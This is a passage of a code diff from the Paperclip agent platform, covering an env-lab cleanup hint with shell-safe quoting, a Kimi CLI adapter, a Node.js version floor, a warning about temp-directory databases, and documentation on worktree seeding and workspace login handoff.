vi.spyOn(p.log, "info").mockImplementation(() => {});
return messages;
}
it("pins the PAPERCLIP_INSTANCE_ID instance when opts.instance is absent", async () => {
// The doctor diagnoses the instance that `PAPERCLIP_INSTANCE_ID` selects.
// The cleanup hint must target that instance, not the default instance.
process.env.PAPERCLIP_INSTANCE_ID = "env-selected-instance";
const messages = captureDoctorMessages();
await envLabDoctorCommand({ instance: undefined });
const cleanup = messages.find((message) => message.startsWith("Cleanup:"));
expect(cleanup).toBeDefined();
expect(cleanup).toContain("env-lab down");
expect(cleanup).toContain("--instance");
expect(cleanup).toContain("env-selected-instance");
});
it("pins the explicit instance over PAPERCLIP_INSTANCE_ID", async () => {
// An explicit `--instance` flag overrides the environment variable, so the
// hint targets the explicit instance the doctor inspected.
process.env.PAPERCLIP_INSTANCE_ID = "env-selected-instance";
const messages = captureDoctorMessages();
await envLabDoctorCommand({ instance: "explicit-instance" });
const cleanup = messages.find((message) => message.startsWith("Cleanup:"));
expect(cleanup).toBeDefined();
expect(cleanup).toContain("--instance");
expect(cleanup).toContain("explicit-instance");
expect(cleanup).not.toContain("env-selected-instance");
});
});
+1 -1
View File
@@ -79,7 +79,7 @@ describe("PaperclipApiClient", () => {
/curl http:\/\/localhost:3100\/api\/health/,
);
await expect(client.post("/api/companies/import/preview", {})).rejects.toThrow(
/pnpm dev|pnpm paperclipai run/,
/pnpm dev|npx paperclipai run/,
);
});
+3
View File
@@ -139,6 +139,9 @@ describe("secrets CLI helpers", () => {
delete process.env.AWS_DEFAULT_REGION;
delete process.env.PAPERCLIP_SECRETS_AWS_DEPLOYMENT_ID;
delete process.env.PAPERCLIP_SECRETS_AWS_KMS_KEY_ID;
delete process.env.AWS_ACCESS_KEY_ID;
delete process.env.AWS_SECRET_ACCESS_KEY;
delete process.env.AWS_SESSION_TOKEN;
});
afterEach(() => {
File diff suppressed because it is too large. Load diff
+7
View File
@@ -5,6 +5,7 @@ import { printCursorStreamEvent } from "@paperclipai/adapter-cursor-local/cli";
import { printCursorCloudEvent } from "@paperclipai/adapter-cursor-cloud/cli";
import { printGeminiStreamEvent } from "@paperclipai/adapter-gemini-local/cli";
import { printGrokStreamEvent } from "@paperclipai/adapter-grok-local/cli";
import { printKimiStreamEvent } from "@paperclipai/adapter-kimi-local/cli";
import { formatStdoutEvent as printHermesGatewayStreamEvent } from "@paperclipai/hermes-paperclip-adapter/gateway/cli";
import { printHermesStreamEvent } from "@paperclipai/hermes-paperclip-adapter/cli";
import { printOpenCodeStreamEvent } from "@paperclipai/adapter-opencode-local/cli";
@@ -53,6 +54,11 @@ const grokLocalCLIAdapter: CLIAdapterModule = {
formatStdoutEvent: printGrokStreamEvent,
};
const kimiLocalCLIAdapter: CLIAdapterModule = {
type: "kimi_local",
formatStdoutEvent: printKimiStreamEvent,
};
const hermesGatewayCLIAdapter: CLIAdapterModule = {
type: "hermes_gateway",
formatStdoutEvent: printHermesGatewayStreamEvent,
@@ -78,6 +84,7 @@ const adaptersByType = new Map<string, CLIAdapterModule>(
cursorCloudCLIAdapter,
geminiLocalCLIAdapter,
grokLocalCLIAdapter,
kimiLocalCLIAdapter,
hermesGatewayCLIAdapter,
hermesLocalCLIAdapter,
openclawGatewayCLIAdapter,
+34 -2
View File
@@ -1,8 +1,16 @@
import fs from "node:fs";
import os from "node:os";
import path from "node:path";
import type { PaperclipConfig } from "../config/schema.js";
import type { CheckResult } from "./index.js";
import { resolveRuntimeLikePath } from "./path-resolver.js";
function isInsideOsTmpDir(targetPath: string): boolean {
const tmpRoot = path.resolve(os.tmpdir());
const resolved = path.resolve(targetPath);
return resolved === tmpRoot || resolved.startsWith(`${tmpRoot}${path.sep}`);
}
export async function databaseCheck(config: PaperclipConfig, configPath?: string): Promise<CheckResult> {
if (config.database.mode === "postgres") {
if (!config.database.connectionString) {
@@ -37,9 +45,33 @@ export async function databaseCheck(config: PaperclipConfig, configPath?: string
if (config.database.mode === "embedded-postgres") {
const dataDir = resolveRuntimeLikePath(config.database.embeddedPostgresDataDir, configPath);
const reportedPath = dataDir;
// A worktree-mode instance whose data dir lives under the OS temp dir is a red
// flag: this is what happens when PAPERCLIP_HOME / PAPERCLIP_IN_WORKTREE leak
// into a PRIMARY instance's environment and silently relocate it to a throwaway
// temp home, so it boots an empty DB and locks everyone out. (Intentional
// ephemeral/CI instances that don't set PAPERCLIP_IN_WORKTREE are not flagged.)
// Check BEFORE creating the dir so we don't bootstrap the very temp location
// we're warning about.
if (isInsideOsTmpDir(dataDir) && process.env.PAPERCLIP_IN_WORKTREE === "true") {
return {
name: "Database",
status: "warn",
message:
`Embedded PostgreSQL data dir is inside the OS temp directory (${dataDir}) ` +
"while running in worktree mode (PAPERCLIP_IN_WORKTREE=true). Data stored here is " +
"ephemeral and will be lost on reboot or a temp cleanup. If this is your primary " +
"instance, PAPERCLIP_HOME / PAPERCLIP_IN_WORKTREE likely leaked into its environment, " +
"pointing it at a throwaway worktree home instead of your real data.",
canRepair: false,
repairHint:
"If this is the primary instance, unset PAPERCLIP_HOME and PAPERCLIP_IN_WORKTREE " +
"(or pass --data-dir <persistent path>) and restart so it uses the persistent instance.",
};
}
if (!fs.existsSync(dataDir)) {
fs.mkdirSync(reportedPath, { recursive: true });
fs.mkdirSync(dataDir, { recursive: true });
}
return {
+3 -3
View File
@@ -7,6 +7,7 @@ import {
type InstallStorePaths,
} from "../install-store.js";
import type { CheckResult } from "./index.js";
import { isSupportedNodeVersion, MINIMUM_NODE_VERSION } from "@paperclipai/shared/node-version";
function pathContains(directory: string): boolean {
const normalized = path.resolve(directory);
@@ -33,14 +34,13 @@ function hasManagedArtifacts(paths: InstallStorePaths): boolean {
}
export function nodeRuntimeCheck(): CheckResult {
const major = Number.parseInt(process.versions.node.split(".")[0] ?? "0", 10);
return major >= 20
return isSupportedNodeVersion(process.versions.node)
? { name: "Node.js runtime", status: "pass", message: `Node.js ${process.versions.node}` }
: {
name: "Node.js runtime",
status: "fail",
message: `Node.js ${process.versions.node} is unsupported`,
repairHint: "Install Node.js 20 or newer before installing or running Paperclip",
repairHint: `Install Node.js ${MINIMUM_NODE_VERSION} or newer before installing or running Paperclip`,
};
}
+1 -1
View File
@@ -233,7 +233,7 @@ function buildConnectionErrorMessage(input: {
"This usually means the Paperclip server is not running, the configured URL is wrong, or the request is being blocked before it reaches Paperclip.",
"",
"Try:",
"- Start Paperclip with `pnpm dev` or `pnpm paperclipai run`.",
"- Start Paperclip with `pnpm dev` (from a source checkout) or `npx paperclipai run`.",
`- Verify the server is reachable with \`curl ${healthUrl}\`.`,
`- If Paperclip is running elsewhere, pass \`--api-base ${input.apiBase.replace(/\/+$/, "")}\` or set \`PAPERCLIP_API_URL\`.`,
);
+10 -3
View File
@@ -93,7 +93,7 @@ interface CreatedAgentKey {
}
interface SkillsInstallSummary {
tool: "codex" | "claude";
tool: "codex" | "claude" | "kimi";
target: string;
linked: string[];
removed: string[];
@@ -115,10 +115,16 @@ function claudeSkillsHome(): string {
return path.join(base, "skills");
}
function kimiSkillsHome(): string {
const fromEnv = process.env.KIMI_CODE_HOME?.trim();
const base = fromEnv && fromEnv.length > 0 ? fromEnv : path.join(os.homedir(), ".kimi-code");
return path.join(base, "skills");
}
async function installSkillsForTarget(
sourceSkillsDir: string,
targetSkillsDir: string,
tool: "codex" | "claude",
tool: "codex" | "claude" | "kimi",
): Promise<SkillsInstallSummary> {
const summary: SkillsInstallSummary = {
tool,
@@ -771,7 +777,7 @@ export function registerAgentCommands(program: Command): void {
.option("--key-name <name>", "API key label", "local-cli")
.option(
"--no-install-skills",
"Skip installing Paperclip skills into ~/.codex/skills and ~/.claude/skills",
"Skip installing Paperclip skills into ~/.codex/skills, ~/.claude/skills, and ~/.kimi-code/skills",
)
.action(async (agentRef: string, opts: AgentLocalCliOptions) => {
try {
@@ -803,6 +809,7 @@ export function registerAgentCommands(program: Command): void {
installSummaries.push(
await installSkillsForTarget(skillsDir, codexSkillsHome(), "codex"),
await installSkillsForTarget(skillsDir, claudeSkillsHome(), "claude"),
await installSkillsForTarget(skillsDir, kimiSkillsHome(), "kimi"),
);
}
+84 -1
View File
@@ -1,4 +1,5 @@
import path from "node:path";
import { fileURLToPath } from "node:url";
import type { Command } from "commander";
import * as p from "@clack/prompts";
import pc from "picocolors";
@@ -111,6 +112,76 @@ export async function envLabDownCommand(opts: { instance?: string; json?: boolea
p.log.message(`State: ${pc.dim(statePath)}`);
}
// Quote one argument for a POSIX shell. The env-lab cleanup hint is copyable, so
// a contributor can paste it into a shell. A checkout path can hold shell
// metacharacters, such as `$`, a backtick, or a double quote. Inside double
// quotes a POSIX shell still expands `$(...)`, a backtick pair, and `$NAME`, and
// a double quote in the path ends the quoted span. So double quotes do not make
// the path safe. Single quotes stop every expansion. This function wraps the
// value in single quotes and rewrites each embedded single quote as the `'\''`
// sequence. The shell then reads the exact path and runs no embedded command.
function shellQuoteArgument(value: string): string {
return "'" + value.replace(/'/g, "'\\''") + "'";
}
// Describe how to re-run the env-lab CLI to stop the fixture. The bundled build
// emits one `dist/index.js` file, so node runs that file directly and `tsxBin`
// is `null`. A source checkout runs `src/index.ts` through the checked-out tsx
// runner, because the entry is TypeScript.
interface EnvLabCliInvocation {
entry: string;
tsxBin: string | null;
}
// Resolve how to re-run the CLI from the running module location. The cleanup
// hint must run the same CLI that prints it, so it stops the correct version.
// `import.meta.url` gives the running module. The bundled build runs this module
// from `<cli>/dist/index.js`, so the hint runs that exact file with node. The
// published package ships no `src` directory and no tsx runner. A source
// checkout runs this module from `<cli>/src/commands/env-lab.ts`, so the hint
// runs `<cli>/src/index.ts` through the checked-out tsx runner. This resolver
// reads an absolute path from the module location, so the hint works from any
// working directory. The `modulePath` parameter is a test seam; production
// callers use the running module path.
export function resolveEnvLabCliInvocation(
modulePath: string = fileURLToPath(import.meta.url),
): EnvLabCliInvocation {
const moduleDir = path.dirname(modulePath);
const isSourceCheckout =
path.basename(moduleDir) === "commands" && path.basename(path.dirname(moduleDir)) === "src";
if (isSourceCheckout) {
const cliRoot = path.resolve(moduleDir, "..", "..");
return {
entry: path.join(cliRoot, "src", "index.ts"),
tsxBin: path.join(cliRoot, "node_modules", "tsx", "dist", "cli.mjs"),
};
}
return { entry: modulePath, tsxBin: null };
}
// Build the env-lab cleanup hint as a copyable shell command. The hint stops the
// fixture that `env-lab doctor` inspected. It runs the same CLI that prints it,
// so it stops the correct version, and it forwards the inspected instance, so it
// stops the correct instance. It passes an inert `argv` value, so no shell reads
// the argument. Each path and the instance id pass through `shellQuoteArgument`,
// so a shell metacharacter stays inert when a contributor pastes the command.
// The `invocation` parameter is a test seam; production callers use the resolved
// running-module invocation.
export function buildEnvLabCleanupCommand(
opts: { instance?: string; invocation?: EnvLabCliInvocation } = {},
): string {
const invocation = opts.invocation ?? resolveEnvLabCliInvocation();
const parts = ["node"];
if (invocation.tsxBin !== null) {
parts.push(shellQuoteArgument(invocation.tsxBin));
}
parts.push(shellQuoteArgument(invocation.entry), "env-lab down");
if (opts.instance !== undefined) {
parts.push("--instance", shellQuoteArgument(opts.instance));
}
return parts.join(" ");
}
export async function envLabDoctorCommand(opts: { instance?: string; json?: boolean }) {
const status = await collectEnvLabDoctorStatus(opts);
@@ -138,7 +209,19 @@ export async function envLabDoctorCommand(opts: { instance?: string; json?: bool
p.log.message(`State: ${pc.dim(status.statePath)}`);
}
p.log.message(`Cleanup: ${pc.dim("pnpm paperclipai env-lab down")}`);
// The cleanup hint runs the same CLI that prints it, so it stops the correct
// version. The bundled build runs `dist/index.js`; a source checkout runs
// `src/index.ts` through the checked-out tsx runner. The hint uses absolute
// paths, so it works from any working directory. It passes an inert `argv`
// value, so no shell reads the argument. See `doc/CLI.md`, "safe invocation".
//
// The doctor diagnoses the instance that `resolvePaperclipInstanceId` selects
// from `opts.instance` or the `PAPERCLIP_INSTANCE_ID` environment variable.
// The hint pins that resolved instance, so a contributor who pastes the hint
// in a shell without `PAPERCLIP_INSTANCE_ID` stops the diagnosed fixture, not
// the default instance.
const cleanupInstance = resolvePaperclipInstanceId(opts.instance);
p.log.message(`Cleanup: ${pc.dim(buildEnvLabCleanupCommand({ instance: cleanupInstance }))}`);
}
export function registerEnvLabCommands(program: Command) {
+3 -3
View File
@@ -5,6 +5,7 @@ import { execFile } from "node:child_process";
import { promisify } from "node:util";
import * as p from "@clack/prompts";
import pc from "picocolors";
import { isSupportedNodeVersion, MINIMUM_NODE_VERSION } from "@paperclipai/shared/node-version";
import {
addManagedPathBlock,
assertManagedShimWritable,
@@ -84,9 +85,8 @@ export function resolveGitInstallWorkspacePackages(checkoutPath: string): Releas
}
function assertSupportedNodeVersion(): void {
const major = Number(process.versions.node.split(".")[0]);
if (!Number.isFinite(major) || major < 20) {
throw new Error(`Managed installs require Node.js 20 or newer (found ${process.version}).`);
if (!isSupportedNodeVersion(process.versions.node)) {
throw new Error(`Managed installs require Node.js ${MINIMUM_NODE_VERSION} or newer (found ${process.version}).`);
}
}
+42
View File
@@ -5,12 +5,52 @@ import { expandHomePrefix } from "../config/home.js";
export const DEFAULT_WORKTREE_HOME = "~/.paperclip-worktrees";
export const WORKTREE_SEED_MODES = ["minimal", "full"] as const;
export const WORKTREE_SEED_MANIFEST = "seed-manifest.json";
export const WORKTREE_SEED_PENDING_MARKER = "seed-pending";
export const WORKTREE_SEED_COMPLETE_MARKER = "seed-complete";
export const WORKTREE_SEED_LOCK_MARKER = "seed.lock";
export type WorktreeSeedMode = (typeof WORKTREE_SEED_MODES)[number];
export const WORKTREE_SEED_PHASES = [
"pending",
"source_validation",
"snapshot",
"restore",
"migrations",
"execution_quarantine",
"routine_pause",
"workspace_rebind",
"post_restore_validation",
"complete",
] as const;
export type WorktreeSeedPhase = (typeof WORKTREE_SEED_PHASES)[number];
export type WorktreeSeedState = "pending" | "running" | "verified" | "failed";
export type WorktreeSeedManifest = {
version: 2;
source: {
instanceId: string;
configPath: string;
};
snapshotAt: string | null;
seedMode: WorktreeSeedMode;
migrationRevision: string | null;
targetInstanceId: string;
phase: WorktreeSeedPhase;
state: WorktreeSeedState;
attemptId: string;
startedAt: string | null;
finishedAt: string | null;
diagnostics: Array<{
phase: WorktreeSeedPhase;
status: "started" | "succeeded" | "failed";
at: string;
message?: string;
}>;
};
export type WorktreeSeedPlan = {
mode: WorktreeSeedMode;
excludedTables: string[];
@@ -54,6 +94,7 @@ export type WorktreeUiBranding = {
};
export type WorktreeSeedMarkerPaths = {
manifest: string;
pending: string;
complete: string;
lock: string;
@@ -62,6 +103,7 @@ export type WorktreeSeedMarkerPaths = {
export function resolveWorktreeSeedMarkerPaths(configPath: string): WorktreeSeedMarkerPaths {
const configDir = path.dirname(path.resolve(configPath));
return {
manifest: path.resolve(configDir, WORKTREE_SEED_MANIFEST),
pending: path.resolve(configDir, WORKTREE_SEED_PENDING_MARKER),
complete: path.resolve(configDir, WORKTREE_SEED_COMPLETE_MARKER),
lock: path.resolve(configDir, WORKTREE_SEED_LOCK_MARKER),
+1009 -113
View File
File diff suppressed because it is too large. Load diff
+3
View File
@@ -1,4 +1,5 @@
import { Command } from "commander";
import { warnIfUnsupportedNodeVersion } from "@paperclipai/shared/node-version";
import { onboard } from "./commands/onboard.js";
import { doctor } from "./commands/doctor.js";
import { envCommand } from "./commands/env.js";
@@ -250,6 +251,8 @@ auth
registerClientAuthCommands(auth);
async function main(): Promise<void> {
warnIfUnsupportedNodeVersion(process.versions.node, (message) => console.warn(message));
let failed = false;
try {
await program.parseAsync();
+44
View File
@@ -0,0 +1,44 @@
import { describe, expect, it } from "vitest";
import {
formatNodeVersionWarning,
isSupportedNodeVersion,
MINIMUM_NODE_VERSION,
NODE_VERSION_INSTALL_GUIDE_URL,
warnIfUnsupportedNodeVersion,
} from "@paperclipai/shared/node-version";
describe("isSupportedNodeVersion", () => {
it("accepts the Node 24 LTS floor and newer releases", () => {
expect(MINIMUM_NODE_VERSION).toBe("24.11.0");
expect(isSupportedNodeVersion("v24.11.0")).toBe(true);
expect(isSupportedNodeVersion("24.19.0")).toBe(true);
expect(isSupportedNodeVersion("v26.0.0")).toBe(true);
});
it("rejects pre-LTS Node 24 and older major releases", () => {
expect(isSupportedNodeVersion("v24.10.0")).toBe(false);
expect(isSupportedNodeVersion("v22.23.0")).toBe(false);
expect(isSupportedNodeVersion("unknown")).toBe(false);
});
it("provides non-blocking remediation text for unsupported runtimes", () => {
expect(formatNodeVersionWarning("v24.11.0")).toBeNull();
const warning = formatNodeVersionWarning("v22.23.0");
expect(warning).toContain("Node.js v22.23.0 is unsupported");
expect(warning).toContain("requires Node.js 24.11.0 or newer");
expect(warning).toContain(NODE_VERSION_INSTALL_GUIDE_URL);
expect(warning).toContain("piped install.sh form cannot upgrade");
expect(warning).toContain("Restart Paperclip after upgrading");
});
it("emits at most one warning when CLI and server boot in the same process", () => {
const warnings: string[] = [];
expect(
warnIfUnsupportedNodeVersion("22.23.0", (message) => warnings.push(message)),
).toBe(true);
expect(
warnIfUnsupportedNodeVersion("22.23.0", (message) => warnings.push(message)),
).toBe(false);
expect(warnings).toHaveLength(1);
});
});
+4 -4
View File
@@ -84,7 +84,7 @@ export async function promptServer(opts?: {
: "dotta-macbook-pro, host.docker.internal",
validate: (val) => {
try {
parseHostnameCsv(val);
parseHostnameCsv(val ?? "");
return;
} catch (err) {
return err instanceof Error ? err.message : "Invalid hostname list";
@@ -156,7 +156,7 @@ export async function promptServer(opts?: {
defaultValue: defaultHost,
placeholder: defaultHost,
validate: (val) => {
if (!val.trim()) return "Host is required";
if (!val || !val.trim()) return "Host is required";
if (deploymentMode === "local_trusted" && !isLoopbackHost(val.trim())) {
return "Local trusted mode requires a loopback host such as 127.0.0.1";
}
@@ -173,7 +173,7 @@ export async function promptServer(opts?: {
placeholder: "dotta-macbook-pro, your-host.tailnet.ts.net",
validate: (val) => {
try {
parseHostnameCsv(val);
parseHostnameCsv(val ?? "");
return;
} catch (err) {
return err instanceof Error ? err.message : "Invalid hostname list";
@@ -192,7 +192,7 @@ export async function promptServer(opts?: {
defaultValue: currentAuth?.publicBaseUrl ?? "",
placeholder: "https://paperclip.example.com",
validate: (val) => {
const candidate = val.trim();
const candidate = val?.trim() ?? "";
if (!candidate) return "Public base URL is required for public exposure";
try {
const url = new URL(candidate);
+467 -408
View File
File diff suppressed because it is too large. Load diff
+1 -1
View File
@@ -267,7 +267,7 @@ pnpm paperclipai configure --section secrets
Inline secret migration command:
```sh
pnpm exec paperclipai secrets migrate-inline-env --company-id <company-id> --apply
npx paperclipai secrets migrate-inline-env --company-id <company-id> --apply
# direct database maintenance fallback
pnpm secrets:migrate-inline-env --apply
+2 -2
View File
@@ -87,8 +87,8 @@ Examples:
```sh
pnpm paperclipai onboard --yes
pnpm paperclipai onboard --yes --bind lan
pnpm paperclipai run --bind tailnet
npx paperclipai onboard --yes --bind lan
npx paperclipai run --bind tailnet
```
`configure --section server` follows the same interactive behavior.
+108 -31
View File
@@ -12,7 +12,7 @@ Current implementation status:
## Prerequisites
- Node.js 20+
- Node.js 24.11+
- pnpm 9+
## Dependency Lockfile Policy
@@ -230,7 +230,7 @@ pnpm dev --authenticated-private
Allow additional private hostnames (for example custom Tailscale hostnames):
```sh
pnpm exec paperclipai allowed-hostname dotta-macbook-pro
npx paperclipai allowed-hostname dotta-macbook-pro
```
## Test Commands
@@ -327,6 +327,8 @@ Every local install keeps runtime state directly under the selected instance roo
storage/ # local_disk uploads
backups/ # automatic DB backups
logs/
runtime-services/ # managed local-service registry
runtime-service-logs/ # append-only managed-service stdout/stderr
secrets/master.key # local_encrypted master key
workspaces/<agent-id>/ # default agent workspaces
projects/ # project execution workspaces
@@ -425,6 +427,21 @@ Agent, project, environment, secret, skill, and workspace config edits are sampl
When effective run config changes, Paperclip may intentionally skip a saved adapter session, refresh persisted workspace runtime config, replace a reused execution workspace, or avoid reusing a sandbox/environment lease. Fresh execution can lose adapter-specific session, workspace, or sandbox state; correctness of the next run's config takes priority over continuity. Plain environment values affect freshness through value hashes; run result JSON and workspace operation logs expose only the non-sensitive freshness decision categories, without storing secret values, full env maps, provider credentials, or private path details.
## Workspace Git Scan Protection
Paperclip applies one process-wide scheduler to expensive host-side workspace Git enumeration, including changed-file browsing, runtime/finalization cleanliness guards, and adapter sandbox-sync snapshots. The scheduler defaults to two active scans and a bounded queue of 32. Identical scans of the same canonical worktree share one subprocess, while successful changed-file listings are cached for 10 seconds. Correctness-sensitive runtime guards bypass the result cache.
The cache intentionally trades up to a few seconds of changed-file freshness for stable server latency. The file browser retains an explicit refresh action, does not start its query while the panel or browser tab is hidden, and presents overloads as retryable failures rather than an empty workspace. A full queue returns `503` with code `workspace_git_scan_saturated`; a scan exceeding its wall-clock limit returns `504` with code `workspace_git_scan_timeout`. Both responses include `Retry-After: 1`.
Environment overrides:
- `PAPERCLIP_WORKSPACE_GIT_SCAN_CONCURRENCY` (default `2`, range `1`–`16`)
- `PAPERCLIP_WORKSPACE_GIT_SCAN_QUEUE_CAPACITY` (default `32`, range `0`–`1024`)
- `PAPERCLIP_WORKSPACE_GIT_SCAN_TIMEOUT_MS` (default `8000`, range `100`–`120000`)
- `PAPERCLIP_WORKSPACE_GIT_SCAN_CACHE_TTL_MS` (default `10000`, range `0`–`60000`)
Structured `workspace_git_scan` logs expose the operation name, a non-reversible workspace-path hash, queue and execution durations, active/queued counts, cache and single-flight use, and terminal outcome. Saturation and timeout warnings are rate-limited so an overload does not create a second logging storm.
## Worktree-local Instances
When developing from multiple git worktrees, do not point two Paperclip servers at the same embedded PostgreSQL data directory.
@@ -434,7 +451,7 @@ Instead, create a repo-local Paperclip config plus an isolated instance for the
```sh
paperclipai worktree init
# or create the git worktree and initialize it in one step:
pnpm paperclipai worktree:make paperclip-pr-432
npx paperclipai worktree:make paperclip-pr-432
```
This command:
@@ -454,6 +471,8 @@ Seed modes:
Seeded worktree instances quarantine copied live execution by default for both `minimal` and `full` seeds. During restore, Paperclip disables copied agent timer heartbeats, resets copied `running` agents to `idle`, blocks and unassigns copied agent-owned `in_progress` issues, and unassigns copied agent-owned `todo`/`in_review` issues. This keeps a freshly booted worktree from starting agents for work already owned by the source instance. Pass `--preserve-live-work` only when you intentionally want the isolated worktree to resume copied assignments.
The same quarantine stops copied project/execution-workspace runtime desired states and clears copied runtime process claims. Without this reset, booting the cloned Paperclip database could restart a source workspace's dev service from the isolated instance, creating duplicate runners, port reassignment, and stale public URLs.
After `worktree init`, both the server and the CLI auto-load the repo-local `.paperclip/.env` when run inside that worktree, so normal commands like `pnpm dev`, `paperclipai doctor`, and `paperclipai db:backup` stay scoped to the worktree instance.
`pnpm dev` now fails fast in a linked git worktree when `.paperclip/.env` is missing, instead of silently booting against the default instance/port. If that happens, run `paperclipai worktree init` in the worktree first.
@@ -462,25 +481,29 @@ After `worktree init`, both the server and the CLI auto-load the repo-local `.pa
Seeding a worktree database is the heaviest part of `worktree init`. That work can be deferred so a worktree is cheap to create and only pays the seed cost the first time it is actually used — the CLI/dev-time analog of the server's lazy runtime provisioning (see the board-operator guide's "Lazy runtime provisioning" section).
Seeding state is tracked with two marker files under the worktree's `.paperclip/` directory:
Seeding state is tracked in `.paperclip/seed-manifest.json`. The versioned manifest records only non-secret evidence: source instance id/config path, target instance id, seed mode, snapshot time, migration revision, attempt timestamps, current phase, terminal state, and a bounded phase diagnostic history. It never stores database credentials or auth credential material. The legacy `seed-pending` and `seed-complete` files remain read-only compatibility signals for worktrees created before the manifest shipped.
- `seed-pending` — the isolated database has not been seeded yet (a **lean** worktree). Written by `worktree init` before any seed runs.
- `seed-complete` — the database was seeded; the pending marker is removed.
The default `worktree init` still seeds eagerly. A lean worktree (created without an eager seed) has a `pending` manifest until something seeds it on demand:
The default `worktree init` still seeds eagerly and writes `seed-complete` immediately. A lean worktree (created without an eager seed) keeps its `seed-pending` marker until something seeds it on demand:
- `pnpm paperclipai worktree ensure-seeded` performs the deferred seed **exactly once**. It is lock-guarded and idempotent: only a complete `verified` manifest short-circuits it, so it is safe to call repeatedly and from concurrent processes. Managed workspaces derive the source from the control-plane-provided base project workspace when it carries its own `.paperclip/config.json`, and otherwise from the control plane's own registered instance config; either way the workspace's manifest never selects it. Manual worktrees must pass `--from-config`.
- `paperclipai run` calls `ensureWorktreeSeeded` automatically before doctor/boot. Managed runs transparently seed a lean worktree from their registered base workspace; an unmanaged lean worktree must first run `worktree ensure-seeded --from-config <source-config>`.
- Managed Paperclip git worktrees default to the repository's `scripts/provision-worktree.sh` when the strategy omits `provisionCommand`, so the isolated config and pending manifest cannot be silently skipped. Runtime startup also runs `scripts/provision-worktree-runtime.sh` automatically when no explicit runtime provision command is configured and the manifest is not verified. Explicitly configured provision commands still take precedence.
- The built-in deferred seed is recorded as its own terminal `workspace_seed` operation. A zero exit code is not enough for success: the operation succeeds only when `.paperclip/seed-manifest.json` contains complete verified evidence; failed, missing, or malformed manifests produce a failed operation with the seed phase in metadata.
- Worktrees created before lazy seeding shipped may have neither marker. Paperclip adopts them only after their configured database proves a compatible migration journal and the core Paperclip schema; otherwise managed startup creates a pending manifest and performs the normal verified seed. Manual markerless worktrees must provide `--from-config` so the source remains explicit.
- `pnpm paperclipai worktree ensure-seeded` performs the deferred seed **exactly once**. It is lock-guarded and idempotent: a present `seed-complete` marker or a missing `seed-pending` marker short-circuits it, so it is safe to call repeatedly and from concurrent processes. It reads the source instance from the `seed-pending` marker unless you pass `--from-config`.
- `paperclipai run` calls `ensureWorktreeSeeded` automatically before doctor/boot, so `run` transparently seeds a lean worktree on first launch.
- Managed git-worktree runtime startup also runs `scripts/provision-worktree-runtime.sh` automatically when a legacy workspace policy has no explicit runtime provision command and the worktree is still `seed-pending`. An explicitly configured runtime provision command always takes precedence.
- Worktrees created before lazy seeding shipped have neither marker; they are treated as already-seeded for backward compatibility (never re-cloned).
Both `minimal` and `full` modes use the same terminal data-validation contract. Source validation accepts a migration journal that is a prefix of the checkout's journal and records the source revision in seed diagnostics; it rejects a source that is ahead of the checkout because that would require a downgrade. After restore, Paperclip applies pending migrations and requires the target journal to be current. Both validations also read an auth user with an instance administrator role, active company membership, and representative cloned company/issue pair. Authenticated instances additionally require that administrator to have a non-empty credential account. `local_trusted` instances accept the implicit local Board user without an account row because that mode intentionally has no human login flow. Restore, migrations, execution quarantine, routine pausing, workspace rebinding, and post-restore validation all run under the seed lock. An interruption leaves the exact active phase in terminal `failed` state; it cannot produce readiness evidence.
**Seed-pending guard.** `pnpm dev` (the dev-runner) refuses to boot a worktree whose database is still `seed-pending` and points you at the fix:
The seed process must own the target embedded PostgreSQL lifecycle for that entire sequence. It refuses to restore into a target postmaster that is already running, suppresses the embedded provider's process-global exit hooks, and stops its owned target only after validation or failure cleanup. A shutdown detected during restore is recorded as a target-database shutdown diagnostic rather than a generic restore failure.
The seed manifest never grants source-path authority. Its source path and instance are diagnostic assertions derived from the realpath-canonical registered source. Deferred seeding resolves registration independently before taking the seed lock; under that lock it replaces stale source diagnostics from the registered value and then revalidates the manifest before any backup, service stop, spawn, or database mutation. Missing registration, invalid registered paths, source/target identity collisions, target-instance mismatches, and company mismatches fail closed.
**Unverified-seed guard.** `pnpm dev` (the dev-runner) refuses to boot a worktree whose manifest is pending, running, failed, malformed, or missing required verification evidence and points you at the fix:
```
[paperclip] this worktree database is seed-pending. Run `pnpm paperclipai worktree ensure-seeded` before `pnpm dev`.
```
This guard (`isWorktreeSeedPending` in `server/src/dev-runner-worktree.ts`) prevents `pnpm dev` from starting the app against an empty, unseeded database — run `worktree ensure-seeded` once and re-run `pnpm dev`.
This guard (`isWorktreeSeedPending` in `server/src/dev-runner-worktree.ts`) prevents `pnpm dev` from starting the app against an empty or partially restored database — run `worktree ensure-seeded` once and re-run `pnpm dev`.
Provisioned git worktrees also pause seeded routines that still have enabled schedule triggers in the isolated worktree database by default. This prevents copied daily/cron routines from firing unexpectedly inside the new workspace instance during development without disabling webhook/API-only routines.
@@ -505,9 +528,30 @@ paperclipai worktree env
eval "$(paperclipai worktree env)"
```
### Workspace login handoff and readiness
Opening a managed workspace board no longer depends on knowing which cloned password is current. `Open workspace` asks the main control plane for a short-lived, single-use ticket; the isolated workspace verifies it and creates its own instance-scoped Better Auth session.
- **Issue** — `POST /api/execution-workspaces/{id}/login-handoff` (board actors only). The ticket is bound to the caller's user id and email, the execution workspace id, the workspace's company id, the isolated instance id, the live runtime origin, a nonce, and a ~90 s expiry. Nothing in the request body influences that binding; only the landing path is caller-supplied and it is reduced to a same-origin path before signing.
- **Exchange** — `GET /api/auth/{workspace-handoff}/exchange?ticket=…` on the workspace itself, registered as a Better Auth plugin so session creation and cookie signing use Better Auth's own path. It verifies the signature, expiry, origin, instance, workspace, company, the cloned user's email, and an active membership **in that company**, records the nonce so a replay loses, and answers with an HTTP redirect — which is what keeps the ticket out of browser history. Request logs redact the `ticket` parameter.
- **Fallback** — direct email/password sign-in still works and the UI labels it accurately as *snapshot-local credentials*. A rejected ticket redirects to `/auth?workspaceHandoffError=<reason>` rather than failing opaquely.
Key material is derived, never shared. The control plane keeps a root secret (`PAPERCLIP_WORKSPACE_HANDOFF_SECRET`, or a domain-separated derivation from the instance's existing signing secret when that is unset) and injects only per-workspace values into the guest process:
| Variable | Purpose |
| --- | --- |
| `PAPERCLIP_WORKSPACE_HANDOFF_KEY` | Per-workspace ticket verification key. A guest cannot mint a ticket for a sibling workspace. |
| `PAPERCLIP_WORKSPACE_READINESS_TOKEN` | Bearer token the control plane presents to read this workspace's protected readiness. |
| `PAPERCLIP_EXECUTION_WORKSPACE_ID` | Execution workspace the guest was provisioned for, used for identity checks. |
